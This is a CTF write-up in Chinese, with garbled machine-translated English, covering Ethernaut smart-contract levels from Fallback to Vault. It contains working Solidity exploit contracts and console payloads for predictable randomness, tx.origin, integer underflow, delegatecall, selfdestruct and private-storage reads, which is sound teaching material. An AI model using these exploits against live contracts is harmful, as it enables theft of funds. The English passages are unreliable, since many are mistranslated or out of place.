Ethernaut是一个类似于CTF的智能合约平台,集成了不少的智能合约相关的安全问题,这对于安全审计人员来说是一个很不错的学习平台,本篇文章将通过该平台来学习智能合约相关的各种安全问题,由于关卡较多,而且涉及合约的分析、攻击流程的演示所以篇幅较长,经过缩减最终定为两篇文章来分享。
平台地址:https://ethernaut.zeppelin.solutions
Ethernaut, a CTF-like smart contract platform that integrates a number of smart contract-related security issues, is a very good learning platform for security auditors. This article will be used to learn about smart contract-related security issues, and will be shared with two articles after being reduced to
platform addresses:
- Chrome浏览器
- 插件——以太坊轻钱包MetaMask(https://metamask.io/)
- 在MetaMask中调整网络为测试网络,之后给自己的钱包地址充值ETH。
浏览器控制台
在整个Ethernaut平台的练习中我们需要通过Chrome浏览器的控制台来输入一系列的命令实现与合约的交互,在这里我们可以直接在Chrome浏览器中按下F12,之后选择Console模块打开浏览器控制台,并查看相关信息:
具体的交互视情况而定,例如:
当控制台中输入"player"时就看到玩家的地址信息(此时需实现Ethernaut与MetaMask的互动):
当输入getBlance(player)当前玩家的eth余额
如果要查看控制台中的其他实用功能可以输入"help"进行查看~
以太坊合约
在控制台中输入"Ethernaut"即可查看当前以太坊合约所有可用函数:
通过加"."可以实现对各个函数的引用(这里也可以把ethernaut当作一个对象实例):
获取关卡示例
我们可以通过点击“Get new instance”来获取关卡示例:
Browser Control .
Hello Ethernaut
Hello Ethernaut这一关的目的是让玩家熟悉靶场操作(控制台的交互、MetaMask的交互等),因此依次按照提示一步一步做就可以完成了~
首先点击"Get new instance"来获取关卡示例:
之后交易确认后返回一个交互合约地址:
之后在控制台中根据提示输入以下指令:
Hello Ethernaut, whose purpose is to familiarize the player with the operation of the target range (interactive on the control table, interactive on Metamask, etc.), can then be done step by step by step by clicking on
to get an example of the level by clicking on "Get new opportunity":
await contract.info()
"You will find what you need in info1()."
await contract.info1()
"Try info2(), but with "hello" as a parameter."
await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."
await contract.infoNum()
42
await contract.info42()
"theMethodName is the name of the next method."
await contract.theMethodName()
"The method name is method7123949."
await contract.method7123949()
"If you know the password, submit it to authenticate()."
await contract.password()
"ethernaut0"
await contract.authenticate("ethernaut0")
之后等合约交互完成后直接点击"submit instance"提交答案,并获取当前关卡的源代码:
之后等交易完成后给出完成关卡的提示:
并在下方给出源代码:
2
pragma solidity ^0.4.18;
contract Instance {
string public password;
uint8 public infoNum =42;
string public theMethodName ='The method name is method7123949.';
bool private cleared =false;
// constructor
function Instance(string _password) public {
password =_password;
}
function info() public pure returns (string) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string param) public pure returns (string) {
if(keccak256(param) ==keccak256('hello')) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string passkey) public {
if(keccak256(passkey) ==keccak256(password)) {
cleared =true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
从源代码中可以看到该关卡其实是一系列的函数调用与传参操作,其实该关卡就是让玩家熟悉控制台和MetaMask的使用以及配合交互操作!
It can be seen from the source code that the level is actually a series of functions calling and passing operations, which in fact is to familiarize the players with the use of the control table and MetaMask and to interact with each other!
Fallback
闯关要求
- 成为合约的owner
- 将余额减少为0
合约代码
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
//合约Fallback继承自Ownable
contract Fallback is Ownable {
using SafeMath for uint256;
mapping(address => uint) public contributions;
//通过构造函数初始化贡献者的值为1000ETH
function Fallback() public {
contributions[msg.sender] =1000 * (1 ether);
}
// 将合约所属者移交给贡献最高的人,这也意味着你必须要贡献1000ETH以上才有可能成为合约的owner
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] =contributions[msg.sender].add(msg.value);
if(contributions[msg.sender] > contributions[owner]) {
owner =msg.sender;
}
}
//获取请求者的贡献值
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
//取款函数,且使用onlyOwner修饰,只能被合约的owner调用
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
//fallback函数,用于接收用户向合约发送的代币
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);// 判断了一下转入的钱和贡献者在合约中贡献的钱是否大于0
owner =msg.sender;
}
}
合约分析
通过源代码我们可以了解到要想改变合约的owner可以通过两种方法实现:
1、贡献1000ETH成为合约的owner(虽然在测试网络中我们可以不断的申请测试eth,但由于每次贡献数量需要小于0.001,完成需要1000/0.001次,这显然很不现实~)
2、通过调用回退函数fallback()来实现
显然我们这里需要通过第二种方法来获取合约的owner,而触发fallback()函数也有下面两种方式:
From the source code, we can see that changing the contract owner can be achieved in two ways:
1, contributing 1,000 ETH to the contract owner (although in the test network we can apply continuously for testing Eth, because each contribution takes less than 0.001, it takes 1000/001 times to complete), which is obviously unrealistic ~br>2, and by calling the fallback () to achieve
, it is clear that we need to obtain the contract owner here through the second method, while triggering the fallback () function also has the following two ways:
- 没有其他函数与给定函数标识符匹配
- 合约接收没有数据的纯ether(例如:转账函数))
因此我们可以调用转账函数"await contract.sendTransaction({value:1})"或者使用matemask的转账功能(注意转账地址是合约地址也就是说instance的地址)来触发fallback()函数。
那么分析到这里我们从理论上就可以获取合约的owner了,那么我们如何转走合约中的eth呢?很明显,答案就是——调用withdraw()函数来实现。
So we can call the transfer function "await contract.sendTransaction" or use the transfer function of mamateask (noting that the transfer address is the address of the contract, i.e. the address of the instance) to trigger the fallback function.
Then we can theoretically get the contract owner here, so how do we transfer the Eth in the contract? Obviously, the answer is -- call the Withdraw function.
攻击流程
contract.contribute({value: 1}) //首先使贡献值大于0
contract.sendTransaction({value: 1}) //触发fallback函数
contract.withdraw() //将合约的balance清零
首先点击"Get new instance"来获取一个实例:
之后开始交互,首先查看合约地址的资产总量,并向其转1wei
等交易完成后再次获取balance发现成功改变:
通过调用sendTransaction函数来触发fallback函数并获取合约的owner:
之后等交易完成后再次查看合约的owner,发现成功变为我们自己的地址:
之后调用withdraw来转走合约的所有代币
之后点击"submit instance"即可完成闯关:
First click on "Get new instance" to get an example: 获取合约的owner权限 Get contract owner privileges 该关卡的要求是获取合约的owner,我们从上面的代码中可以看到没有类似于上一关的回退函数也没有相关的owner转换函数,但是我们在这里却发现一个致命的错误————构造函数名称与合约名称不一致使其成为一个public类型的函数,即任何人都可以调用,同时在构造函数中指定了函数调用者直接为合约的owner,所以我们可以直接调用构造函数Fal1out来获取合约的ower权限。 The level requires the owner of the contract, and we can see from the code above that there is no backup function similar to the previous level and no relevant backer conversion function, but here we find a fatal error — the construction function name does not match the contract name to make it a public-type function, that is, anyone can call, and in the construction function the function caller is directly the owner of the contract, so we can call the construction function Fal1out to get the contract's power. 直接调用构造函数Fal1out来获取合约的ower权限即可。 Direct use of the tectonic function Fal1out to get access to the contract. 这是一个掷硬币游戏,你需要通过猜测掷硬币的结果来建立你的连胜记录。要完成这个等级,你需要使用你的通灵能力来连续10次猜测正确的结果。 It's a coin toss game, and you need to build your record of success by guessing the results of a coin toss. To complete this level, you need to use your psychic powers to guess the right results 10 times in a row. 在合约的开头先定义了三个uint256类型的数据——consecutiveWins、lastHash、FACTOR,其中FACTOR被赋予了一个很大的数值,之后查看了一下发现是2^255。 At the beginning of the contract, we first defined three uint256 types of data — consecutiveWins, lastHash, FACTOR, where FACTOR was given a very large value, and then looked at the tectonic function. 点击“Get new Instance”获取一个实例: Get an example on “Get new Institute”: 前面是个构造函数,把owner赋给了合约的创建者,照例看了一下这是不是真的构造函数,确定没有问题,下面一个changeOwner函数则检查tx.origin和msg.sender是否相等,如果不一样就把owner更新为传入的owner。 The first is a tectonic function, which assigns the owner to the creator of the contract, and the second is the sender of the message, which, if the situation is called under a contract, is not problematic. The next ChangeOwner function examines whether tx.origin and msg.sender are equal, if they are not the same, and if they update the tx.origin and msg.sender, which are the difference between tx.origin and msg.sender, which, like the last subject, is the sender of the transaction, which is the difference between wood and wood if the situation is called under a contract, but in the case of multiple contracts, e.g., when the user calls the B contract through contract A, they represent contract A, and tx.origin represents the user. 点击“Get new Instance”来获取一个实例: Click on “Get new Insurance” to obtain an example: 之后在remix中编译合约: After that, the contract was compiled in remix: 玩家初始有token20个,想办法黑掉这个智能合约来获取得更多Token! The player initially had 20 tokens, trying to hack this smart contract to get more Token! 此处的映射balance代表了我们拥有的token,然后通关构造函数初始化了owner的balance,虽然不知道是多少,下面的transfer函数的功能为转账操作,最下面的balanceOf函数功能为查询当前账户余额。 The map barance here represents the token we have, and then the custom construction function initials the local barrance, although it is not known how much. The function of the bottom transfer function is a transfer operation, and the bottom function of the ballanceof function is a query of the current account balance. 在该函数中最为关键第一处就是"require"校验,此处可以通过“整数下溢”来绕过检查,同时这里的balances和value都是无符号整数,所以无论如何他们相减之后值依旧大于0(在相等的条件下为0)。 The first key point in this function is the "require" verification, which can be bypassed by the "integer overflow" here, and the barances and value here are both unsigned integer numbers, so that in any case they still have less than 0 (0 under the same conditions). 点击“Get new instance”来获取一个实例 Click on “Get new inventory” to obtain an example 获取合约的owner权限。 Get contract owner privileges. 在这里我们看到了两个合约,Delegate初始化时将传入的address设定为合约的owner,下面一个pwn函数也引起我们的注意,从名字也能看出挺关键的。 Here we see two contracts, where Delegatte's initialization is set as the contract's owner. The next pwn function is also of interest to us. The Delegate contract below 在这里我们要做的就是使用delegatecall调用delegate合约的pwn函数,这里就涉及到使用call指定调用函数的操作,当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个自己就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes,函数前面就是带有括号括起来的参数类型列表的函数名称。 All we have to do here is to use delegatecalll to call the pwn function of the delegate contract, which involves the Cal to specify the operation of the call function, and when the first parameter to pass on to Call is four bytes, the contract will assume that the four are the functions that you will call, and it will look for the call function as the id of the function, while the id of a function is the first four bytes of the sha3 whose function is signed in the cell function selection rules. The function is preceded by the function name of the list of parameter types with the brackets. 经过上面的简要分析,问题就变很简单了,sha3我们可以直接通过web3.sha3来调用,而delegatecall在fallback函数里,我们得想办法来触发它,前面已经提到有两种方法来触发,但是这里我们需要让delegatecall使用我们发送的data,所以这里我们直接用封装好的sendTransaction来发送data,其实到了这里我也知道了前面fallback那关我们也可以使用这个方式来触发fallback函数: After the brief analysis above, the problem becomes simple, and sha3 can be called directly through Web3.sha3, and delegetacall in the fallback function, and we have to find a way to trigger it. As already mentioned, there are two ways to trigger it, but here we need delegetacall to use the data that we send, so we send it directly through the sealed sendTransaaction, and here I know that we can also use this way to trigger the fallback function: 点击“get new instance”来获取一个实例 Click on “Get new instance” to get an example 让合约的balance比0多 Let's make the contract bealance more than zero. 第一眼看上去——懵了,这是什么呀?一个猫???,合约Force中竟然没有任何相关的合约代码,感觉莫名奇妙。。。 The first time we look at it, it looks like it's a self-destructive function, as its name suggests, and when you call it, it's going to invalidate the contract and remove the address's byte, and then it's going to send the rest of the contract to the address specified in the parameters, which is the fallback function that ignores the contract, because we mentioned earlier that it triggers the fallback function when the contract is received directly without knowing how to deal with it, but it's going to be a self-destructive function, which is interesting. 点击“Get new Instance”来获取一个实例: Click on “Get new Insurance” to obtain an example: 编译合约 The compilation contract 解锁用户。 Unlock the user. 从代码里可以看到我们需要得到它的密码来调用unlock函数以解锁合约,而且我们注意到在开始它是直接定义存储了password的,虽然因为是private我们不能直接看到,然而我们要知道这是在以太坊上,这是一个区块链,它是透明的,数据都是存在块里面的,所以我们可以直接拿到它。 We can see in the code that we need its password to call the unlock function to unlock the contract, and we noticed that it was stored directly in password at the beginning, although we can't see directly because it's private, but we need to know that it's in the Etheria, it's a block chain, it's transparent, the data is in the block, so we can get it directly. 这里通过getStorageAt函数来访问它,getStorageAt函数可以让我们访问合约里状态变量的值,它的两个参数里第一个是合约的地址,第二个则是变量位置position,它是按照变量声明的顺序从0开始,顺次加1,不过对于mapping这样的复杂类型,position的值就没那么简单了。 This is accessed through the GetStorageAt function, which allows us to access the value of the status variable in the contract. The first of its two parameters is the address of the contract and the second is the position of the variable, which starts from 0 in the order in which the variable is stated, plus one, but for a complex type like mapping, the value of the position is not so simple. 点击“Get new Instance”之后获取一个实例 Get an example after "Get new Insurance"
上篇分析至此结束,下篇目前已经写好,后续不久会奉上~ That's the end of the last analysis. The next one's ready. It'll be ready soon. https://paper.seebug.org/624/Fallout
闯关要求
合约代码
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout is Ownable {
using SafeMath for uint256;
mapping (address => uint) allocations;
function Fal1out() public payable {
owner =msg.sender;
allocations[owner] =msg.value;
}
function allocate() public payable {
allocations[msg.sender] =allocations[msg.sender].add(msg.value);
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
合约分析
攻击流程
点击“Get new instance”来获取示例:
之后查看当前合约的owner,并调用构造函数来更换owner:
等交易完成后,再次查看合约的owner发现已经发生变化了:
之后点击“submit instance”来提交答案即可:Coin Flip
闯关要求
合约代码
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR =57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins =0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue =uint256(block.blockhash(block.number.sub(1)));
if (lastHash ==blockValue) {
revert();
}
lastHash =blockValue;
uint256 coinFlip =blockValue.div(FACTOR);
bool side =coinFlip ==1 ? true : false;
if (side ==_guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins =0;
return false;
}
}
}
合约分析
之后定义的CoinFlip为构造函数,在构造函数中将我们的猜对次数初始化为0。
之后的flip函数先定义了一个blockValue,值是前一个区块的hash值转换为uint256类型,block.number为当前的区块数,之后检查lasthash是否等于blockValue,相等则revert,回滚到调用前状态。之后便给lasthash赋值为blockValue,所以lasthash代表的就是上一个区块的hash值。
之后就是产生coinflip,它就是拿来判断硬币翻转的结果的,它是拿blockValue/FACTR,前面也提到FACTOR实际是等于2^255,若换成256的二进制就是最左位是0,右边全是1,而我们的blockValue则是256位的,因为solidity里“/”运算会取整,所以coinflip的值其实就取决于blockValue最高位的值是1还是0,换句话说就是跟它的最高位相等,下面的代码就是简单的判断了。
通过对以上代码的分析我们可以看到硬币翻转的结果其实完全取决于前一个块的hash值,看起来这似乎是随机的,它也确实是随机的,然而事实上它也是可预测的,因为一个区块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess,这样就相当于提前看了结果。因为块之间的间隔也只有10s左右,要手工在命令行下完成合约分析中操作还是有点困难,所以我们需要在链上另外部署一个合约来完成这个操作,在部署时可以直接使用http://remix.ethereum.org来部署
Exploit:pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR =57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins =0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue =uint256(block.blockhash(block.number-1));
if (lastHash ==blockValue) {
revert();
}
lastHash =blockValue;
uint256 coinFlip =blockValue/FACTOR;
bool side =coinFlip ==1 ? true : false;
if (side ==_guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins =0;
return false;
}
}
}
contract exploit {
CoinFlip expFlip;
uint256 FACTOR =57896044618658097711785492504343953926634992332820282019728792003956564819968;
function exploit(address aimAddr) {
expFlip =CoinFlip(aimAddr);
}
function hack() public {
uint256 blockValue =uint256(block.blockhash(block.number-1));
uint256 coinFlip =uint256(uint256(blockValue) / FACTOR);
bool guess =coinFlip ==1 ? true : false;
expFlip.flip(guess);
}
}
攻击流程
之后获取合约的地址以及"consecutiveWins"的值:
之后在remix中编译合约
之后在remix中部署“exploit”合约,这里需要使用上面获取到的合约地址:
之后合约成功部署:
之后点击"hack"实施攻击(至少需要调用10次):
之后再次查看“consecutiveWins”的值,直到大于10时提交即可:
之后点击“submit instance”提交示例:
之后成功闯关:
Telephone
闯关要求
合约代码
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner =msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin !=msg.sender) {
owner =_owner;
}
}
}
合约分析
这里涉及到了tx.origin和msg.sender的区别,前者表示交易的发送者,后者则表示消息的发送者,如果情景是在一个合约下的调用,那么这两者是木有区别的,但是如果是在多个合约的情况下,比如用户通过A合约来调用B合约,那么对于B合约来说,msg.sender就代表合约A,而tx.origin就代表用户,知道了这些那么就很简单了,和上一个题目一样,我们这里需要另外部署一个合约来调用这儿的changeOwner:
Exploit:pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner =msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin !=msg.sender) {
owner =_owner;
}
}
}
contract exploit {
Telephone target =Telephone(your instance address);
function hack(){
target.changeOwner(msg.sender);
}
}
攻击流程
之后查看合约的地址:
之后用上面的地址替换exploit中的地址,最终的exp如下
.pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner =msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin !=msg.sender) {
owner =_owner;
}
}
}
contract exploit {
Telephone target =Telephone(0x932b6c14f6dd1a055206b0784f7b38d2217d30e5);
function hack(){
target.changeOwner(msg.sender);
}
}
部署合约
之后查看原合约的owner地址:
之后点击“hack”来实施攻击:
之后成功变换合约的owner
之后点击“submit instance”来提交示例即可:
Token
闯关要求
合约代码
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] =totalSupply =_initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >=0);
balances[msg.sender] -=_value;
balances[_to] +=_value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
合约分析
通过粗略的一遍功能查看之后我们重点来看此处的transfer()函数function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >=0);
balances[msg.sender] -=_value;
balances[_to] +=_value;
return true;
}
那么在当前题目条件下(题目中token初始化为20),所以当转21的时候则会发生下溢,导致数值变大其数值为2^256 - 1
So under the current topic (token initially converted to 20 in the title), there will be an overflow of "rel=noper" 攻击流程
之后调用transfer函数向玩家地址转币:
之后等交易完成之后,我们可以看到玩家的代币数量会变得非常非得多,和我们之前预期的一样:
之后我们点击“submit instance”提交答案即可:
Delegation
闯关要求
合约代码
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner =_owner;
}
function pwn() public {
owner =msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate =Delegate(_delegateAddress);
owner =msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
合约分析
之后下面的Delegation合约则实例化了上面的Delegate合约,其fallback函数使用了delegatecall来调用其中的delegate合约,而这里的delegatecall就是问题的关键所在。
我们经常会使用call函数与合约进行交互,对合约发送数据,当然,call是一个较底层的接口,我们经常会把它封装在其他函数里使用,不过性质是差不多的,这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行,也就是说它的函数执行在被调用合约部分其实只用到了它的代码,所以这个函数主要是方便我们使用存在其他地方的函数,也是模块化代码的一种方法,然而这也很容易遭到破坏。用于调用其他合约的call类的函数,其中的区别如下:
1、call 的外部调用上下文是外部合约
2、delegatecall 的外部调用上下是调用合约上下文
3、callcode() 其实是 delegatecall() 之前的一个版本,两者都是将外部代码加载到当前上下文中进行执行,但是在 msg.sender 和 msg.value 的指向上却有差异。
is used as an example of the above Delegate contract, where the fallback function uses deegatecall to call the Delegate contract, while the deegatecall here is the key to the problem.
contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});
攻击流程
之后通过fallback函数里的delegatecall来调用pwn函数更换owner:
之后点击“submit instance”来提交答案
Force
闯关要求
合约代码
pragma solidity ^0.4.18;
contract Force {}
合约分析
经过查看资料,发现在以太坊里我们是可以强制给一个合约发送eth的,不管它要不要它都得收下,这是通过selfdestruct函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数,因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数,然而selfdestruct的发送将无视这一点,这里确实是比较有趣了。
那么接下来就非常简单了,我们只需要创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给我们的目标合约就行了。攻击流程
之后获取合约地址
之后创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给目标合约:
pragma solidity ^0.4.20;
contract Force {
function Force() public payable {}
function exploit(address _target) public {
selfdestruct(_target);
}
}
部署合约
之后调用“ForceSendEther()”函数,并传入合约的地址:
交易成功之后,再次查看合约的额度发现——“非零”
之后点击“submit instance”进行提及案例即可:
" deployment contract <`bremdia""
Vault
闯关要求
合约代码
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked =true;
password =_password;
}
function unlock(bytes32 _password) public {
if (password ==_password) {
locked =false;
}
}
}
合约分析
攻击流程
之后在console下运行以下代码:
runs the following code under Console after :web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
参考资料
https://remix.readthedocs.io/en/latest/
https://ethfans.org/ajian1984/articles/33425
https://github.com/OpenZeppelin/openzeppelin-contracts
https://www.bubbles966.cn/blog/2018/05/05/analyse_dapp_by_ethernaut/
http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/
http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/
注册有任何问题请添加 微信:MVIP619 拉你进入群
打开微信扫一扫
添加客服
进入交流群
发表评论